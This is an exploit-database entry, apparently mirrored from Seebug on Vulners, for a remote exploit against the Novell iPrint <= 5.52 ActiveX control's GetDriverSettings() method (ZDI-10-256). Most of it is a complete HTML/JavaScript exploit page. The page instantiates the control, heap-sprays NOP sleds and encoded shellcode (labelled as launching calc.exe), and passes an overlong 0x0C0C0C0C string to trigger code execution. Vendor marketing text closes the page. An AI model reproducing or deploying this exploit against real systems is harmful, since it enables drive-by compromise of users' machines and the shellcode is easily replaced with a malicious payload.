Lucene search
K

Novell iPrint <= 5.52 ActiveX GetDriverSettings() Remote Exploit (ZDI-10-256)

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 12 Views

Novell iPrint ActiveX GetDriverSettings() Remote Exploit (ZDI-10-256) for Windows XP SP

Code

                                                &#60;!--
Novell iPrint &#60;= 5.52 ActiveX GetDriverSettings() Remote Exploit (ZDI-10-256)
Coded By:	Dr_IDE
Reference:	http://www.zerodayinitiative.com/advisories/ZDI-10-256/
Reference:	http://www.vupen.com/english/advisories/2010/3023
Tested On:	Windows XP SP3
--&#62;
&#60;html&#62;
&#60;object classid=&#39;clsid:36723F97-7AA0-11D4-8919-FF2D71D0D32C&#39; id=&#39;target&#39;/&#62;&#60;/object&#62;
&#60;script &#62;
// Calc.exe
shellcode = unescape(&#39;%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395&#39;+
&#39;%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1&#39;+
&#39;%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e&#39;+
&#39;%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5&#39;+
&#39;%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f&#39;+
&#39;%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5&#39;+
&#39;%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525&#39;+
&#39;%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e&#39;);
                       
nops=unescape(&#39;%u9090%u9090&#39;);
headersize =20;
slackspace= headersize + shellcode.length;
while(nops.length&#60; slackspace) nops+= nops;
fillblock= nops.substring(0, slackspace);
block= nops.substring(0, nops.length- slackspace);
while( block.length+ slackspace&#60;0x50000) block= block+ block+ fillblock;
memory=new Array();
for( counter=0; counter&#60;200; counter++) memory[counter]= block + shellcode;
ret=&#39;&#39;;
for( counter=0; counter&#60;=250; counter++) ret+=unescape(&#34;%0C%0C%0C%0C&#34;);    

arg1 = &#39;printer&#39;;
arg2 = &#39;realm&#39;;
arg3 = &#39;user&#39;;
arg4 = &#39;pass&#39;;

//The code is interesting here, there are two different calls but they both actually
//hit the same code within the app. GetDriverSettings2() is triggered internally by both calls.
target.GetDriverSettings(ret,arg2,arg3,arg4);
//target.GetDriverSettings2(ret,arg2,arg3,arg4);
&#60;/script&#62;
&#60;/html&#62;

#http://pocoftheday.blogspot.com
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation